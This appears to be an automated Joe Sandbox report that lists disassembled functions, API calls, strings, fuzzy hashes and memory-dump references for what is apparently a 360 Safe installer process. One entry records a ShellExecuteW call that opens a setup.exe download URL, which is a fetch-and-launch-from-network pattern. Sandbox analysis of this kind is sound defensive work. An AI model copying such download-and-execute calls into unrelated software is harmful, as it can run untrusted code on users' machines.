API ID: InvalidateMessagePostRectWindow
String ID:
API String ID: 2061673745-0
Opcode ID: 6a03f1d30ffff61e300dc62ae72b0bd4283034fb447070040c35ac15e5a28d59
Instruction ID: 5a2e70dae7a047f56b8115a33da82ca16a490437fcf66384f4c094f6ae2bd51b
Opcode Fuzzy Hash: 6a03f1d30ffff61e300dc62ae72b0bd4283034fb447070040c35ac15e5a28d59
Instruction Fuzzy Hash: 44F0FE71500A10AAEB315B69EC09EA7FBF9FFD4700F41451EF596C1460DBA1A411DB64

Function 00181E26 Relevance: 4.5, APIs: 3, Instructions: 29COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00181E36
_wcslen.LIBCMT ref: 00181E4A
_wcscpy.LIBCMT ref: 00181E5B

Memory Dump Source

Source File: 00000007.00000002.4138235490.0000000000161000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00160000, based on PE: true

Associated: 00000007.00000002.4138060161.0000000000160000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138601555.000000000021E000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138770666.0000000000243000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138919927.0000000000246000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.0000000000250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.000000000053D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_160000_inst.jbxd

Similarity

API ID: _wcslen$_wcscpy
String ID:
API String ID: 3469035223-0
Opcode ID: 688fe22aace665f526812ecd71053a3813945175e789a1431b953bff6509cf06
Instruction ID: 2261976bd597a939bc016ef4f1240dee4e769653ca168faa4fab5c1cae92cbac
Opcode Fuzzy Hash: 688fe22aace665f526812ecd71053a3813945175e789a1431b953bff6509cf06
Instruction Fuzzy Hash: 6FE01233204550ABD2292556AC02B6E93E9DBB1B33F21481FF545D3181DB6458415659

Function 5F4FEC26 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 190COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 5F4FEE43

Strings

DNS--CName:, xrefs: 5F4FEE60

Memory Dump Source

Source File: 00000007.00000002.4158634502.000000005F4D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 5F4D0000, based on PE: true

Associated: 00000007.00000002.4158576782.000000005F4D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158731034.000000005F54F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158786706.000000005F56F000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158786706.000000005F575000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158861183.000000005F57A000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158861183.000000005F5BC000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4159004826.000000005F5BF000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_5f4d0000_inst.jbxd

Similarity

API ID: _memset
String ID: DNS--CName:
API String ID: 2102423945-2042605141
Opcode ID: 9d4c28d01ae888b6fec5019bec95c087a3954f759a89e7cf424022b1b18d1eae
Instruction ID: 6a7fb072109c7032da0be070e3fcca85847df27a456c31f01538faf84e4cac15
Opcode Fuzzy Hash: 9d4c28d01ae888b6fec5019bec95c087a3954f759a89e7cf424022b1b18d1eae
Instruction Fuzzy Hash: 8461AFB14027059FDB25DFA0DC40DDEBBB6BF14202F088A2EE55B93661DB71B956CB80

Function 5F50151C Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 96COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 5F501523

Part of subcall function 5F4FC7D8: __EH_prolog3.LIBCMT ref: 5F4FC7DF
Part of subcall function 5F4FC7D8: GetTickCount.KERNEL32 ref: 5F4FC85B
Part of subcall function 5F4FC7D8: _memset.LIBCMT ref: 5F4FC964

Part of subcall function 5F51405E: _memset.LIBCMT ref: 5F514091
Part of subcall function 5F51405E: wvnsprintfW.SHLWAPI(?,000003FF,5F5BC288,5F4FE1F9), ref: 5F5140AC

Strings

[%d.] __CreateTask Init task fail. Id:%d, Pdown:%s, File:%s, xrefs: 5F501577, 5F50160D

Memory Dump Source

Source File: 00000007.00000002.4158634502.000000005F4D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 5F4D0000, based on PE: true

Associated: 00000007.00000002.4158576782.000000005F4D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158731034.000000005F54F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158786706.000000005F56F000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158786706.000000005F575000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158861183.000000005F57A000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158861183.000000005F5BC000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4159004826.000000005F5BF000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_5f4d0000_inst.jbxd

Similarity

API ID: H_prolog3_memset$CountTickwvnsprintf
String ID: [%d.] __CreateTask Init task fail. Id:%d, Pdown:%s, File:%s
API String ID: 4122227224-1580467494
Opcode ID: 0d9680eeef66dbad2521bfdcfea1218b7ed720833435669a99e72c0f2c507d86
Instruction ID: 80e90aa2b38fac38d39dc642619dd4fecac24df7f1be9fce4a72725981927845
Opcode Fuzzy Hash: 0d9680eeef66dbad2521bfdcfea1218b7ed720833435669a99e72c0f2c507d86
Instruction Fuzzy Hash: E221D1F0301345BBCF016FF48C90DBE76ABAF84214F08453EF51A9A3A0DB7599119B92

Function 5F522C7A Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 84COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 5F522D45

Strings

Memory Dump Source

Source File: 00000007.00000002.4158634502.000000005F4D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 5F4D0000, based on PE: true

Associated: 00000007.00000002.4158576782.000000005F4D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158731034.000000005F54F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158786706.000000005F56F000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158786706.000000005F575000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158861183.000000005F57A000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158861183.000000005F5BC000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4159004826.000000005F5BF000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_5f4d0000_inst.jbxd

Similarity

API ID: CountTick
String ID: Login begin Timer
API String ID: 536389180-3628901022
Opcode ID: 65a25820a5f8732270d5c81df5e2301bb919a711f51e02ebaa3b61523c8febe0
Instruction ID: 8f1ce891d134423a05be78055d73d50e12a50084dfc847d161d2abb6b5045c5d
Opcode Fuzzy Hash: 65a25820a5f8732270d5c81df5e2301bb919a711f51e02ebaa3b61523c8febe0
Instruction Fuzzy Hash: 2231D1F5907B805EF729DFB4D4987AABBE19B41210F900B3ED08A872C2DA717845CB61

Function 5F525ECE Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 45threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32(00000000,00000000,5F525999,5F5BC810,00000000,?), ref: 5F525F2C

Strings

tr.p.360.cn, xrefs: 5F525ECE

Memory Dump Source

Source File: 00000007.00000002.4158634502.000000005F4D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 5F4D0000, based on PE: true

Associated: 00000007.00000002.4158576782.000000005F4D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158731034.000000005F54F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158786706.000000005F56F000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158786706.000000005F575000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158861183.000000005F57A000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158861183.000000005F5BC000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4159004826.000000005F5BF000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_5f4d0000_inst.jbxd

Similarity

API ID: CreateThread
String ID: tr.p.360.cn
API String ID: 2422867632-613191693
Opcode ID: f1012bb88f209f16c3fbb37e6335f2b13683bfc81781e8f652744638dd1d9f6e
Instruction ID: 0dcd63d4e25ed67fade0e55a0c96621825fdfc1faf936b75fea9652900770c3d
Opcode Fuzzy Hash: f1012bb88f209f16c3fbb37e6335f2b13683bfc81781e8f652744638dd1d9f6e
Instruction Fuzzy Hash: 7D0184B1012346FEDB148F21CC40AEB73EDEF463A4F00453EE55586180EBB17651CBA1

Function 0017BFF4 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 39COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0017BFFB

Strings

CAB, xrefs: 0017C00E

Memory Dump Source

Source File: 00000007.00000002.4138235490.0000000000161000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00160000, based on PE: true

Associated: 00000007.00000002.4138060161.0000000000160000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138601555.000000000021E000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138770666.0000000000243000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138919927.0000000000246000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.0000000000250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.000000000053D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_160000_inst.jbxd

Similarity

API ID: H_prolog3
String ID: CAB
API String ID: 431132790-4230853747
Opcode ID: e6dc2f4ce4aec376a9195003ad1a22b0c7826eb0421be2965a73589126daa4ce
Instruction ID: db595ac8150f2f310a825f7e61c0510ffb1e03f38c0528f6fb1cc017d5e5e9d0
Opcode Fuzzy Hash: e6dc2f4ce4aec376a9195003ad1a22b0c7826eb0421be2965a73589126daa4ce
Instruction Fuzzy Hash: D7F06839A00216D7DB15EAB08D03FEE76309F31B54F10422CB615B61D1EB609E82D6C4

Function 0016E7D0 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 28libraryCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(?,?,00000001,00000000,?,00000000,?,0016E9A6,?), ref: 0016E80F

Part of subcall function 0016E9E0: _memset.LIBCMT ref: 0016EA12
Part of subcall function 0016E9E0: _wcsncpy.LIBCMT ref: 0016EA29
Part of subcall function 0016E9E0: _wcsncat.LIBCMT ref: 0016EA3C
Part of subcall function 0016E9E0: _wcsncat.LIBCMT ref: 0016EA53
Part of subcall function 0016E9E0: _wcsncat.LIBCMT ref: 0016EA66
Part of subcall function 0016E9E0: _wcsncat.LIBCMT ref: 0016EA7D
Part of subcall function 0016E9E0: _wcsncat.LIBCMT ref: 0016EA90
Part of subcall function 0016E9E0: _wcsncat.LIBCMT ref: 0016EAA7
Part of subcall function 0016E9E0: GetActiveWindow.USER32 ref: 0016EAB7
Part of subcall function 0016E9E0: MessageBoxW.USER32(00000000), ref: 0016EABE
Part of subcall function 0016E9E0: __wcsnicmp.LIBCMT ref: 0016EADA
Part of subcall function 0016E9E0: ShellExecuteW.SHELL32(00000000,open,http://down.360safe.com/setup.exe,00000000,00000000,00000005), ref: 0016EB0E

Strings

360, xrefs: 0016E7F9

Memory Dump Source

Source File: 00000007.00000002.4138235490.0000000000161000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00160000, based on PE: true

Associated: 00000007.00000002.4138060161.0000000000160000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138601555.000000000021E000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138770666.0000000000243000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138919927.0000000000246000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.0000000000250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.000000000053D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_160000_inst.jbxd

Similarity

API ID: _wcsncat$ActiveExecuteLibraryLoadMessageShellWindow__wcsnicmp_memset_wcsncpy
String ID: 360
API String ID: 4220467963-1990796034
Opcode ID: 0daacb52c995f898c6dc3ac23948c9c3f62079a59a8a380d5c0714e9d740dab5
Instruction ID: 78719a176e1c786c690501850701b02bfc508f001165937c57c3c6d1d2bd7fde
Opcode Fuzzy Hash: 0daacb52c995f898c6dc3ac23948c9c3f62079a59a8a380d5c0714e9d740dab5
Instruction Fuzzy Hash: 2CE0D8762553107AEA10A610AC0AFDBA7CC9F60759F10883BF605E2080FBB0983087A6

Function 5F516F06 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 25registryCOMMON

Download Yara Rule

APIs

RegCreateKeyExW.KERNEL32(80000001,SOFTWARE\LiveUpdate360,00000000,00000000,00000000,000F003F,00000000,5F4FD3A2,?,?,?,?,5F4FD3A2), ref: 5F516F2E

Strings

SOFTWARE\LiveUpdate360, xrefs: 5F516F1E

Memory Dump Source

Source File: 00000007.00000002.4158634502.000000005F4D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 5F4D0000, based on PE: true

Associated: 00000007.00000002.4158576782.000000005F4D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158731034.000000005F54F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158786706.000000005F56F000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158786706.000000005F575000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158861183.000000005F57A000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158861183.000000005F5BC000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4159004826.000000005F5BF000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_5f4d0000_inst.jbxd

Similarity

API ID: Create
String ID: SOFTWARE\LiveUpdate360
API String ID: 2289755597-1248664019
Opcode ID: 988951a36cb3adc50dabce46b0a588efb252e8c04377737fffd2e0e8c0899428
Instruction ID: 7dbaafc910dac5e740a4e2f7d3cc83f28a2238b411e9a7b079184c7eaeed7cca
Opcode Fuzzy Hash: 988951a36cb3adc50dabce46b0a588efb252e8c04377737fffd2e0e8c0899428
Instruction Fuzzy Hash: D7E0B6F6A64109BFEB08CBA4DD46DFE7AACDB14244F104259BA06E2141E975AA449620

Function 00164410 Relevance: 3.2, APIs: 2, Instructions: 226COMMON

Download Yara Rule

APIs

SetFilePointerEx.KERNEL32(?,?,?,00000000,00000000,00000000,?,00000CCC,?,00164728,00000000,00000000,00000CCC,00000040), ref: 00164576

Part of subcall function 00163E90: ReadFile.KERNEL32(?,?,?,?,00000000,?,00164DC5,?,00000000,?,00000000,?,?,00161043,?), ref: 00163E9B

Memory Dump Source

Source File: 00000007.00000002.4138235490.0000000000161000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00160000, based on PE: true

Associated: 00000007.00000002.4138060161.0000000000160000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138601555.000000000021E000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138770666.0000000000243000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138919927.0000000000246000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.0000000000250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.000000000053D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_160000_inst.jbxd

Similarity

API ID: File$PointerRead
String ID:
API String ID: 3154509469-0
Opcode ID: 2094f488d1bdb8da0db0bfcf0356147e6faeeb32d4b34c35812387cbe8e9724c
Instruction ID: 8caa77b898d251b2fa0c88224e01e72057c11c270c095ee7e555cae8b130649e
Opcode Fuzzy Hash: 2094f488d1bdb8da0db0bfcf0356147e6faeeb32d4b34c35812387cbe8e9724c
Instruction Fuzzy Hash: 83716971604702AFD718DF28DC91A2AB3E5FB88310F558A2DF859C3740E735E9648BD2

Function 00198119 Relevance: 3.1, APIs: 2, Instructions: 141COMMON

Download Yara Rule

APIs

GetClientRect.USER32(?,?), ref: 0019816F
ShowWindow.USER32(?,?), ref: 001981F0

Memory Dump Source

Source File: 00000007.00000002.4138235490.0000000000161000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00160000, based on PE: true

Associated: 00000007.00000002.4138060161.0000000000160000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138601555.000000000021E000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138770666.0000000000243000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138919927.0000000000246000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.0000000000250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.000000000053D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_160000_inst.jbxd

Similarity

API ID: ClientRectShowWindow
String ID:
API String ID: 2134488367-0
Opcode ID: 045c0c5e4333fc2ecdb3ba64f303d9d8ed36df7734941c6bd3d95d52fb660a06
Instruction ID: 0e74a70b185087ff467d03f1e9493c9e21ea4ef4e41d5718f176c052ebd47479
Opcode Fuzzy Hash: 045c0c5e4333fc2ecdb3ba64f303d9d8ed36df7734941c6bd3d95d52fb660a06
Instruction Fuzzy Hash: 5B512D70900209AFCF11DFA4C888DAEBBB8FF59344B144469F846DB261EB35DA46CF60

Function 001EF350 Relevance: 3.1, APIs: 2, Instructions: 137COMMON

Download Yara Rule

APIs

__flush.LIBCMT ref: 001EF414
__fileno.LIBCMT ref: 001EF434

Part of subcall function 001E98D1: __getptd_noexit.LIBCMT ref: 001E98D1

Part of subcall function 001EA5B1: __decode_pointer.LIBCMT ref: 001EA5BC

Memory Dump Source

Source File: 00000007.00000002.4138235490.0000000000161000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00160000, based on PE: true

Associated: 00000007.00000002.4138060161.0000000000160000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138601555.000000000021E000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138770666.0000000000243000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138919927.0000000000246000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.0000000000250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.000000000053D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_160000_inst.jbxd

Similarity

API ID: __decode_pointer__fileno__flush__getptd_noexit
String ID:
API String ID: 3967789316-0
Opcode ID: 9cd4b0d52be28c8fbd5dda615404ac9080e8322edafad2a7ae5bd0cfe971db06
Instruction ID: 84273fa0078889141ce98d33b14816712305b5ed7e94c3ab39de78817f3c484c
Opcode Fuzzy Hash: 9cd4b0d52be28c8fbd5dda615404ac9080e8322edafad2a7ae5bd0cfe971db06
Instruction Fuzzy Hash: E7418231A00E859BDB249FAB88845AFB7B6BF90320F29857DEC15975C0E770DE42CB40

Function 00165B50 Relevance: 3.1, APIs: 2, Instructions: 102COMMON

Download Yara Rule

APIs

GetFileSizeEx.KERNEL32(?,?,?,00000000,?,?,?), ref: 00165B70
SetFilePointerEx.KERNEL32(00000000,?,?,00000000,00000000,?,?,?,00000000,?,?,?), ref: 00165BC9

Memory Dump Source

Source File: 00000007.00000002.4138235490.0000000000161000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00160000, based on PE: true

Associated: 00000007.00000002.4138060161.0000000000160000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138601555.000000000021E000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138770666.0000000000243000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138919927.0000000000246000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.0000000000250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.000000000053D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_160000_inst.jbxd

Similarity

API ID: File$PointerSize
String ID:
API String ID: 3549600656-0
Opcode ID: 2321a5ba33563ca5ef61c9f2f634c8d2569485ea194610927d257296cd6f012d
Instruction ID: 2e86adf3b5e6d2464a6825f08baf6b9b415004130f003ffd9d5ece43c9ad6dc0
Opcode Fuzzy Hash: 2321a5ba33563ca5ef61c9f2f634c8d2569485ea194610927d257296cd6f012d
Instruction Fuzzy Hash: 2421D0327043095BD710AE6AFC80A5AB3DAEBD5751F59443AE948C3240EB36EC198772

Function 001D0001 Relevance: 3.1, APIs: 2, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32(?,?,00001000,?,00000000), ref: 001D00AC
WriteFile.KERNEL32(?,?,?,?,00000000), ref: 001D00EF

Memory Dump Source

Source File: 00000007.00000002.4138235490.0000000000161000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00160000, based on PE: true

Associated: 00000007.00000002.4138060161.0000000000160000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138601555.000000000021E000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138770666.0000000000243000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138919927.0000000000246000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.0000000000250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.000000000053D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_160000_inst.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: c861ef3b06f9678ed526e1c81eaf9c0237d964e12804038403813ee776603c9f
Instruction ID: cb9d82be945fbfc36ba7c00af7036dbe47c4dcc8757a2767ce44083a85b8d511
Opcode Fuzzy Hash: c861ef3b06f9678ed526e1c81eaf9c0237d964e12804038403813ee776603c9f
Instruction Fuzzy Hash: 22315B71A002599FDB35CEA5CC44BEEB779FF49354F25443AE858E7282DB3099058B50

Function 5F50AE39 Relevance: 3.1, APIs: 2, Instructions: 91networkCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 5F50AE44

Part of subcall function 5F506EF2: GetTickCount.KERNEL32 ref: 5F506EFF

WSAGetLastError.WS2_32 ref: 5F50AEAE

Memory Dump Source

Source File: 00000007.00000002.4158634502.000000005F4D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 5F4D0000, based on PE: true

Associated: 00000007.00000002.4158576782.000000005F4D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158731034.000000005F54F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158786706.000000005F56F000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158786706.000000005F575000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158861183.000000005F57A000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158861183.000000005F5BC000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4159004826.000000005F5BF000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_5f4d0000_inst.jbxd

Similarity

API ID: CountTick$ErrorLast
String ID:
API String ID: 1305442257-0
Opcode ID: 1a9b8a114ee3744a0f72e12e6326197eb640f47b96dcf343c299d5aa22bcbf5a
Instruction ID: 5f52b93c2c4e9709931c39aa76f132063e9f829fc54cb352b1e2df6ec049366a
Opcode Fuzzy Hash: 1a9b8a114ee3744a0f72e12e6326197eb640f47b96dcf343c299d5aa22bcbf5a
Instruction Fuzzy Hash: BB3170B5A01205BFCB15ABE4C898EEFBBADBF44354F00456AF21697290DB30A954CB90

Function 5F4D867B Relevance: 3.1, APIs: 2, Instructions: 62COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 5F4D8682
char_traits.LIBCPMT ref: 5F4D871D

Memory Dump Source

Source File: 00000007.00000002.4158634502.000000005F4D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 5F4D0000, based on PE: true

Associated: 00000007.00000002.4158576782.000000005F4D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158731034.000000005F54F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158786706.000000005F56F000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158786706.000000005F575000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158861183.000000005F57A000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158861183.000000005F5BC000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4159004826.000000005F5BF000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_5f4d0000_inst.jbxd

Similarity

API ID: H_prolog3_catchchar_traits
String ID:
API String ID: 1964944973-0
Opcode ID: 34970f05a2a06452c3580e753e4bc36315ba7f2972c92aa8ad81c298e8241192
Instruction ID: 180450034fefa4b5a86ebf51be3a82113c546ad1d19e4df79b8efa5da39cd845
Opcode Fuzzy Hash: 34970f05a2a06452c3580e753e4bc36315ba7f2972c92aa8ad81c298e8241192
Instruction Fuzzy Hash: 1E11B9B1A05205ABDB04CF948870BAEB7B6BF94720F20861AF525EB6C0D771BA50C7D1

Function 5F4D878F Relevance: 3.1, APIs: 2, Instructions: 61COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 5F4D8796
char_traits.LIBCPMT ref: 5F4D8836

Memory Dump Source

Source File: 00000007.00000002.4158634502.000000005F4D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 5F4D0000, based on PE: true

Associated: 00000007.00000002.4158576782.000000005F4D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158731034.000000005F54F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158786706.000000005F56F000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158786706.000000005F575000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158861183.000000005F57A000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158861183.000000005F5BC000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4159004826.000000005F5BF000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_5f4d0000_inst.jbxd

Similarity

API ID: H_prolog3_catchchar_traits
String ID:
API String ID: 1964944973-0
Opcode ID: 7d2e8343a2037b3f05713f143c40eb6e11d058b8697f223def36a34ddc3b1875
Instruction ID: 390fc2536fdcbc4dfb70f03d04b7d13876bf1c8314b023fdcdbafea8aee8718c
Opcode Fuzzy Hash: 7d2e8343a2037b3f05713f143c40eb6e11d058b8697f223def36a34ddc3b1875
Instruction Fuzzy Hash: 241172B1A01205EBDB04CFA488707AEB3A6BB94311F20861AF515D7680C771BA51CBD1

Function 001B20A9 Relevance: 3.1, APIs: 2, Instructions: 57COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 001B20B3

Part of subcall function 00197451: BeginPaint.USER32(?,?), ref: 0019746E

GetClientRect.USER32(?,?), ref: 001B20E0

Part of subcall function 00197323: CreateCompatibleDC.GDI32(?), ref: 00197347
Part of subcall function 00197323: SelectObject.GDI32(?,?), ref: 0019736E
Part of subcall function 00197323: SetViewportOrgEx.GDI32(?,?,?,00000000), ref: 00197387

Part of subcall function 001A6537: GetWindowRect.USER32(?,00000000), ref: 001A6554

Part of subcall function 001B1F15: __EH_prolog3.LIBCMT ref: 001B1F1C
Part of subcall function 001B1F15: IsWindowEnabled.USER32(?), ref: 001B1F26
